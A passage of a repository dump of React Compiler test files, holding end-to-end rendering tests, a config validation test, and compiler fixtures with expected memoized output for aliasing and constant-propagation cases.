    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as React from 'react';\nimport {render} from '@testing-library/react';\n\nglobalThis.constantValue = 'global test value';\n\ntest('literal-constant-propagation', () => {\n  function Component() {\n    'use memo';\n    const x = 'test value 1';\n    return <div>{x}</div>;\n  }\n  const {asFragment, rerender} = render(<Component />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        test value 1\n      </div>\n    </DocumentFragment>\n  `);\n\n  rerender(<Component />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        test value 1\n      </div>\n    </DocumentFragment>\n  `);\n});\n\ntest('global-constant-propagation', () => {\n  function Component() {\n    'use memo';\n    const x = constantValue;\n\n    return <div>{x}</div>;\n  }\n  const {asFragment, rerender} = render(<Component />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        global test value\n      </div>\n    </DocumentFragment>\n  `);\n\n  rerender(<Component />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        global test value\n      </div>\n    </DocumentFragment>\n  `);\n});\n\ntest('lambda-constant-propagation', () => {\n  function Component() {\n    'use memo';\n    const x = 'test value 1';\n    const getDiv = () => <div>{x}</div>;\n    return getDiv();\n  }\n  const {asFragment, rerender} = render(<Component />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n      <DocumentFragment>\n        <div>\n          test value 1\n        </div>\n      </DocumentFragment>\n    `);\n\n  rerender(<Component />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n      <DocumentFragment>\n        <div>\n          test value 1\n        </div>\n      </DocumentFragment>\n    `);\n});\n\ntest('lambda-constant-propagation-of-phi-node', () => {\n  function Component({noopCallback}) {\n    'use memo';\n    const x = 'test value 1';\n    if (constantValue) {\n      noopCallback();\n    }\n    for (let i = 0; i < 5; i++) {\n      if (!constantValue) {\n        noopCallback();\n      }\n    }\n    const getDiv = () => <div>{x}</div>;\n    return getDiv();\n  }\n\n  const {asFragment, rerender} = render(<Component noopCallback={() => {}} />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n      <DocumentFragment>\n        <div>\n          test value 1\n        </div>\n      </DocumentFragment>\n    `);\n\n  rerender(<Component noopCallback={() => {}} />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        test value 1\n      </div>\n    </DocumentFragment>\n  `);\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/expectLogs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst logs = [];\n\nexport function log(message) {\n  logs.push(message);\n}\n\nexport function expectLogsAndClear(expected) {\n  expect(logs).toEqual(expected);\n  logs.length = 0;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/hello.e2e.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as React from 'react';\nimport {render} from '@testing-library/react';\nimport {expectLogsAndClear, log} from './expectLogs';\n\nfunction Hello({name}) {\n  const items = [1, 2, 3].map(item => {\n    log(`recomputing ${item}`);\n    return <div key={item}>Item {item}</div>;\n  });\n  return (\n    <div>\n      Hello<b>{name}</b>\n      {items}\n    </div>\n  );\n}\n\ntest('hello', () => {\n  const {asFragment, rerender} = render(<Hello name=\"World\" />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        Hello\n        <b>\n          World\n        </b>\n        <div>\n          Item 1\n        </div>\n        <div>\n          Item 2\n        </div>\n        <div>\n          Item 3\n        </div>\n      </div>\n    </DocumentFragment>\n  `);\n\n  expectLogsAndClear(['recomputing 1', 'recomputing 2', 'recomputing 3']);\n\n  rerender(<Hello name=\"Universe\" />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <div>\n        Hello\n        <b>\n          Universe\n        </b>\n        <div>\n          Item 1\n        </div>\n        <div>\n          Item 2\n        </div>\n        <div>\n          Item 3\n        </div>\n      </div>\n    </DocumentFragment>\n  `);\n\n  expectLogsAndClear(\n    __FORGET__ ? [] : ['recomputing 1', 'recomputing 2', 'recomputing 3']\n  );\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-button.e2e.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {render} from '@testing-library/react';\nimport * as React from 'react';\n\nfunction Button({label}) {\n  const theme = useTheme();\n  const style = computeStyle(theme);\n  return <button color={style}>{label}</button>;\n}\n\nlet currentTheme = 'light';\nfunction useTheme() {\n  'use memo';\n  return currentTheme;\n}\n\nlet styleComputations = 0;\nfunction computeStyle(theme) {\n  styleComputations++;\n  return theme === 'light' ? 'white' : 'black';\n}\n\ntest('update-button', () => {\n  const {asFragment, rerender} = render(<Button label=\"Click me\" />);\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <button\n        color=\"white\"\n      >\n        Click me\n      </button>\n    </DocumentFragment>\n  `);\n\n  // Update the label, but not the theme\n  rerender(<Button label=\"Click again\" />);\n  // `computeStyle` should not be called again when Forget is enabled\n  expect(styleComputations).toBe(__FORGET__ ? 1 : 2);\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <button\n        color=\"white\"\n      >\n        Click again\n      </button>\n    </DocumentFragment>\n  `);\n\n  currentTheme = 'dark';\n  rerender(<Button label=\"Click again\" />);\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <button\n        color=\"black\"\n      >\n        Click again\n      </button>\n    </DocumentFragment>\n  `);\n\n  expect(styleComputations).toBe(__FORGET__ ? 2 : 3);\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-expressions.e2e.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {render, screen, fireEvent} from '@testing-library/react';\nimport * as React from 'react';\nimport {expectLogsAndClear, log} from './expectLogs';\n\nfunction Counter(props) {\n  'use memo';\n  let value = props.value;\n  let a = value++;\n  expect(a).toBe(props.value); // postfix\n  let b = ++value;\n  expect(b).toBe(props.value + 2); // previous postfix operation + prefix operation\n  let c = ++value;\n  expect(c).toBe(props.value + 3);\n  let d = value--;\n  expect(d).toBe(props.value + 3);\n  let e = --value;\n  expect(e).toBe(props.value + 1);\n  let f = --value;\n  expect(f).toBe(props.value);\n  expect(value).toBe(props.value);\n  return <span>{value}</span>;\n}\n\ntest('use-state', async () => {\n  const {asFragment, rerender} = render(<Counter value={0} />);\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <span>\n        0\n      </span>\n    </DocumentFragment>\n  `);\n\n  rerender(<Counter value={1} />);\n  expect(asFragment()).toMatchInlineSnapshot(`\n    <DocumentFragment>\n      <span>\n        1\n      </span>\n    </DocumentFragment>\n  `);\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/use-state.e2e.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {render, screen, fireEvent} from '@testing-library/react';\nimport * as React from 'react';\nimport {useState} from 'react';\nimport {expectLogsAndClear, log} from './expectLogs';\n\nfunction Counter() {\n  let [state, setState] = useState(0);\n  return (\n    <div>\n      <Title text=\"Counter\" />\n      <span>{state}</span>\n      <button data-testid=\"button\" onClick={() => setState(state + 1)}>\n        increment\n      </button>\n    </div>\n  );\n}\n\nfunction Title({text}) {\n  log(`rendering: ${text}`);\n  return <h1>{text}</h1>;\n}\n\ntest('use-state', async () => {\n  const {asFragment} = render(<Counter />);\n\n  expect(asFragment()).toMatchInlineSnapshot(`\n  <DocumentFragment>\n    <div>\n      <h1>\n        Counter\n      </h1>\n      <span>\n        0\n      </span>\n      <button\n        data-testid=\"button\"\n      >\n        increment\n      </button>\n    </div>\n  </DocumentFragment>\n  `);\n\n  expectLogsAndClear(['rendering: Counter']);\n\n  fireEvent.click(screen.getByTestId('button'));\n  await screen.findByText('1');\n\n  expectLogsAndClear(__FORGET__ ? [] : ['rendering: Counter']);\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/envConfig-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Effect, validateEnvironmentConfig} from '..';\nimport {ValueKind} from '../HIR';\n\ndescribe('parseConfigPragma()', () => {\n  it('passing null throws', () => {\n    expect(() => validateEnvironmentConfig(null as any)).toThrow();\n  });\n\n  // tests that the error message remains useful\n  it('passing incorrect value throws', () => {\n    expect(() => {\n      validateEnvironmentConfig({\n        validateHooksUsage: 1,\n      } as any);\n    }).toThrowErrorMatchingInlineSnapshot(\n      `\"Error: Could not validate environment config. Update React Compiler config to fix the error. Validation error: Invalid input: expected boolean, received number at \"validateHooksUsage\".\"`,\n    );\n  });\n\n  it('can parse stringy enums', () => {\n    const stringyHook = {\n      effectKind: 'freeze',\n      valueKind: 'frozen',\n    };\n    const env = {\n      customHooks: new Map([['useFoo', stringyHook]]),\n    };\n    const validatedEnv = validateEnvironmentConfig(env as any);\n    const validatedHook = validatedEnv.customHooks.get('useFoo');\n    expect(validatedHook?.effectKind).toBe(Effect.Freeze);\n    expect(validatedHook?.valueKind).toBe(ValueKind.Frozen);\n  });\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, mutate} from 'shared-runtime';\n\nfunction Component() {\n  // a's mutable range should be the same as x's mutable range,\n  // since a is captured into x (which gets mutated later)\n  let a = makeObject_Primitives();\n\n  let x = [];\n  x.push(a);\n\n  mutate(x);\n  return [x, a];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, mutate } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = makeObject_Primitives();\n    const x = [];\n    x.push(a);\n    mutate(x);\n    t0 = [x, a];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[{\"a\":0,\"b\":\"value1\",\"c\":true},\"joe\"],\"[[ cyclic ref *2 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.js",
    "content": "import {makeObject_Primitives, mutate} from 'shared-runtime';\n\nfunction Component() {\n  // a's mutable range should be the same as x's mutable range,\n  // since a is captured into x (which gets mutated later)\n  let a = makeObject_Primitives();\n\n  let x = [];\n  x.push(a);\n\n  mutate(x);\n  return [x, a];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  // a's mutable range should be limited\n  // the following line\n  let a = someObj();\n\n  let x = [];\n  x.push(a);\n\n  return [x, a];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = someObj();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const a = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    x.push(a);\n    t1 = [x, a];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver.js",
    "content": "function Component() {\n  // a's mutable range should be limited\n  // the following line\n  let a = someObj();\n\n  let x = [];\n  x.push(a);\n\n  return [x, a];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let x = {a};\n  let y = {};\n\n  y.x = x['a'];\n  mutate(y);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== a) {\n    x = { a };\n    const y = {};\n\n    y.x = x.a;\n    mutate(y);\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.js",
    "content": "function component(a) {\n  let x = {a};\n  let y = {};\n\n  y.x = x['a'];\n  mutate(y);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-nested-member-path-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let z = [];\n  let y = {};\n  y.z = z;\n  let x = {};\n  x.y = y;\n  mutate(x.y.z);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const z = [];\n    const y = {};\n    y.z = z;\n    x = {};\n    x.y = y;\n    mutate(x.y.z);\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-nested-member-path-mutate.js",
    "content": "function component() {\n  let z = [];\n  let y = {};\n  y.z = z;\n  let x = {};\n  x.y = y;\n  mutate(x.y.z);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-nested-member-path.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let z = [];\n  let y = {};\n  y.z = z;\n  let x = {};\n  x.y = y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const z = [];\n    const y = {};\n    y.z = z;\n    x = {};\n    x.y = y;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":{\"z\":[]}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-nested-member-path.js",
    "content": "function component() {\n  let z = [];\n  let y = {};\n  y.z = z;\n  let x = {};\n  x.y = y;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(cond) {\n  let a = {};\n  let b = {};\n  let c = {};\n  while (cond) {\n    let z = a;\n    a = b;\n    b = c;\n    c = z;\n    mutate(a, b);\n  }\n  a;\n  b;\n  c;\n  return a;\n}\n\nfunction mutate(x, y) {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(cond) {\n  const $ = _c(2);\n  let a;\n  if ($[0] !== cond) {\n    a = {};\n    let b = {};\n    let c = {};\n    while (cond) {\n      const z = a;\n      a = b;\n      b = c;\n      c = z;\n      mutate(a, b);\n    }\n    $[0] = cond;\n    $[1] = a;\n  } else {\n    a = $[1];\n  }\n\n  return a;\n}\n\nfunction mutate(x, y) {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-while.js",
    "content": "function foo(cond) {\n  let a = {};\n  let b = {};\n  let c = {};\n  while (cond) {\n    let z = a;\n    a = b;\n    b = c;\n    c = z;\n    mutate(a, b);\n  }\n  a;\n  b;\n  c;\n  return a;\n}\n\nfunction mutate(x, y) {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTransitivelyFreezeFunctionExpressions:false\nimport {\n  Stringify,\n  mutate,\n  identity,\n  setPropertyByKey,\n  shallowCopy,\n} from 'shared-runtime';\n/**\n * Function expression version of `aliased-nested-scope-truncated-dep`.\n *\n * In this fixture, the output would be invalid if propagateScopeDeps did not\n * avoid adding MemberExpression dependencies which would other evaluate during\n * the mutable ranges of their base objects.\n * This is different from `aliased-nested-scope-truncated-dep` which *does*\n * produce correct output regardless of MemberExpression dependency truncation.\n *\n * Note while other expressions evaluate inline, function expressions *always*\n * represent deferred evaluation. This means that\n * (1) it's always safe to reorder function expression creation until its\n *     earliest potential invocation\n * (2) it's invalid to eagerly evaluate function expression dependencies during\n *     their respective mutable ranges.\n */\n\nfunction Component({prop}) {\n  let obj = shallowCopy(prop);\n\n  const aliasedObj = identity(obj);\n\n  // When `obj` is mutable (either directly or through aliases), taking a\n  // dependency on `obj.id` is invalid as it may change before getId() is invoked\n  const getId = () => obj.id;\n\n  mutate(aliasedObj);\n  setPropertyByKey(aliasedObj, 'id', prop.id + 1);\n\n  // Calling getId() should return prop.id + 1, not the prev\n  return <Stringify getId={getId} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: {id: 1}}],\n  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTransitivelyFreezeFunctionExpressions:false\nimport {\n  Stringify,\n  mutate,\n  identity,\n  setPropertyByKey,\n  shallowCopy,\n} from \"shared-runtime\";\n/**\n * Function expression version of `aliased-nested-scope-truncated-dep`.\n *\n * In this fixture, the output would be invalid if propagateScopeDeps did not\n * avoid adding MemberExpression dependencies which would other evaluate during\n * the mutable ranges of their base objects.\n * This is different from `aliased-nested-scope-truncated-dep` which *does*\n * produce correct output regardless of MemberExpression dependency truncation.\n *\n * Note while other expressions evaluate inline, function expressions *always*\n * represent deferred evaluation. This means that\n * (1) it's always safe to reorder function expression creation until its\n *     earliest potential invocation\n * (2) it's invalid to eagerly evaluate function expression dependencies during\n *     their respective mutable ranges.\n */\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { prop } = t0;\n  let t1;\n  if ($[0] !== prop) {\n    const obj = shallowCopy(prop);\n    const aliasedObj = identity(obj);\n    const getId = () => obj.id;\n    mutate(aliasedObj);\n    setPropertyByKey(aliasedObj, \"id\", prop.id + 1);\n    t1 = <Stringify getId={getId} shouldInvokeFns={true} />;\n    $[0] = prop;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prop: { id: 1 } }],\n  sequentialRenders: [\n    { prop: { id: 1 } },\n    { prop: { id: 1 } },\n    { prop: { id: 2 } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getId\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n<div>{\"getId\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n<div>{\"getId\":{\"kind\":\"Function\",\"result\":3},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.tsx",
    "content": "// @enableTransitivelyFreezeFunctionExpressions:false\nimport {\n  Stringify,\n  mutate,\n  identity,\n  setPropertyByKey,\n  shallowCopy,\n} from 'shared-runtime';\n/**\n * Function expression version of `aliased-nested-scope-truncated-dep`.\n *\n * In this fixture, the output would be invalid if propagateScopeDeps did not\n * avoid adding MemberExpression dependencies which would other evaluate during\n * the mutable ranges of their base objects.\n * This is different from `aliased-nested-scope-truncated-dep` which *does*\n * produce correct output regardless of MemberExpression dependency truncation.\n *\n * Note while other expressions evaluate inline, function expressions *always*\n * represent deferred evaluation. This means that\n * (1) it's always safe to reorder function expression creation until its\n *     earliest potential invocation\n * (2) it's invalid to eagerly evaluate function expression dependencies during\n *     their respective mutable ranges.\n */\n\nfunction Component({prop}) {\n  let obj = shallowCopy(prop);\n\n  const aliasedObj = identity(obj);\n\n  // When `obj` is mutable (either directly or through aliases), taking a\n  // dependency on `obj.id` is invalid as it may change before getId() is invoked\n  const getId = () => obj.id;\n\n  mutate(aliasedObj);\n  setPropertyByKey(aliasedObj, 'id', prop.id + 1);\n\n  // Calling getId() should return prop.id + 1, not the prev\n  return <Stringify getId={getId} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: {id: 1}}],\n  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  Stringify,\n  mutate,\n  identity,\n  shallowCopy,\n  setPropertyByKey,\n} from 'shared-runtime';\n\n/**\n * This fixture is similar to `bug-aliased-capture-aliased-mutate` and\n * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on\n * dependency extraction.\n *\n * NOTE: this fixture is currently valid, but will break with optimizations:\n * - Scope and mutable-range based reordering may move the array creation\n *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate\n *     reassigns inner properties.\n * - RecycleInto or other deeper-equality optimizations may produce invalid\n *     output -- it may compare the array's contents / dependencies too early.\n * - Runtime validation for immutable values will break if `mutate` does\n *     interior mutation of the value captured into the array.\n *\n * Before scope block creation, HIR looks like this:\n *  //\n *  // $1 is unscoped as obj's mutable range will be\n *  // extended in a later pass\n *  //\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  //\n *  // $3 gets assigned a scope as Array is an allocating\n *  // instruction, but this does *not* get extended or\n *  // merged into the later mutation site.\n *  // (explained in `bug-aliased-capture-aliased-mutate`)\n *  //\n *  $3@1  = Array[$2]\n *  ...\n *  $10@0 = LoadLocal shallowCopy@0[0, 12]\n *  $11   = LoadGlobal mutate\n *  $12   = $11($10@0[0, 12])\n *\n * When filling in scope dependencies, we find that it's incorrect to depend on\n * PropertyLoads from obj as it hasn't completed its mutable range. Following\n * the immutable / mutable-new typing system, we check the identity of obj to\n * detect whether it was newly created (and thus mutable) in this render pass.\n *\n * HIR with scopes looks like this.\n * bb0:\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2\n * bb1:\n *  $3@1  = Array[$2]\n *  goto bb2\n * bb2:\n *  ...\n *\n * This is surprising as deps now is entirely decoupled from temporaries used\n * by the block itself. scope @1's instructions now reference a value (1)\n * produced outside its scope range and (2) not represented in its dependencies\n *\n * The right thing to do is to ensure that all Loads from a value get assigned\n * the value's reactive scope. This also requires track mutating and aliasing\n * separately from scope range. In this example, that would correctly merge\n * the scopes of $3 with obj.\n * Runtime validation and optimizations such as ReactiveGraph-based reordering\n * require this as well.\n *\n * A tempting fix is to instead extend $3's ReactiveScope range up to include\n * $2 (the PropertyLoad). This fixes dependency deduping but not reordering\n * and mutability.\n */\nfunction Component({prop}) {\n  let obj = shallowCopy(prop);\n  const aliasedObj = identity(obj);\n\n  // [obj.id] currently is assigned its own reactive scope\n  const id = [obj.id];\n\n  // Writing to the alias may reassign to previously captured references.\n  // The compiler currently produces valid output, but this breaks with\n  // reordering, recycleInto, and other potential optimizations.\n  mutate(aliasedObj);\n  setPropertyByKey(aliasedObj, 'id', prop.id + 1);\n\n  return <Stringify id={id} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: {id: 1}}],\n  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  Stringify,\n  mutate,\n  identity,\n  shallowCopy,\n  setPropertyByKey,\n} from \"shared-runtime\";\n\n/**\n * This fixture is similar to `bug-aliased-capture-aliased-mutate` and\n * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on\n * dependency extraction.\n *\n * NOTE: this fixture is currently valid, but will break with optimizations:\n * - Scope and mutable-range based reordering may move the array creation\n *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate\n *     reassigns inner properties.\n * - RecycleInto or other deeper-equality optimizations may produce invalid\n *     output -- it may compare the array's contents / dependencies too early.\n * - Runtime validation for immutable values will break if `mutate` does\n *     interior mutation of the value captured into the array.\n *\n * Before scope block creation, HIR looks like this:\n *  //\n *  // $1 is unscoped as obj's mutable range will be\n *  // extended in a later pass\n *  //\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  //\n *  // $3 gets assigned a scope as Array is an allocating\n *  // instruction, but this does *not* get extended or\n *  // merged into the later mutation site.\n *  // (explained in `bug-aliased-capture-aliased-mutate`)\n *  //\n *  $3@1  = Array[$2]\n *  ...\n *  $10@0 = LoadLocal shallowCopy@0[0, 12]\n *  $11   = LoadGlobal mutate\n *  $12   = $11($10@0[0, 12])\n *\n * When filling in scope dependencies, we find that it's incorrect to depend on\n * PropertyLoads from obj as it hasn't completed its mutable range. Following\n * the immutable / mutable-new typing system, we check the identity of obj to\n * detect whether it was newly created (and thus mutable) in this render pass.\n *\n * HIR with scopes looks like this.\n * bb0:\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2\n * bb1:\n *  $3@1  = Array[$2]\n *  goto bb2\n * bb2:\n *  ...\n *\n * This is surprising as deps now is entirely decoupled from temporaries used\n * by the block itself. scope @1's instructions now reference a value (1)\n * produced outside its scope range and (2) not represented in its dependencies\n *\n * The right thing to do is to ensure that all Loads from a value get assigned\n * the value's reactive scope. This also requires track mutating and aliasing\n * separately from scope range. In this example, that would correctly merge\n * the scopes of $3 with obj.\n * Runtime validation and optimizations such as ReactiveGraph-based reordering\n * require this as well.\n *\n * A tempting fix is to instead extend $3's ReactiveScope range up to include\n * $2 (the PropertyLoad). This fixes dependency deduping but not reordering\n * and mutability.\n */\nfunction Component(t0) {\n  const $ = _c(2);\n  const { prop } = t0;\n  let t1;\n  if ($[0] !== prop) {\n    const obj = shallowCopy(prop);\n    const aliasedObj = identity(obj);\n    const id = [obj.id];\n    mutate(aliasedObj);\n    setPropertyByKey(aliasedObj, \"id\", prop.id + 1);\n    t1 = <Stringify id={id} />;\n    $[0] = prop;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prop: { id: 1 } }],\n  sequentialRenders: [\n    { prop: { id: 1 } },\n    { prop: { id: 1 } },\n    { prop: { id: 2 } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"id\":[1]}</div>\n<div>{\"id\":[1]}</div>\n<div>{\"id\":[2]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.tsx",
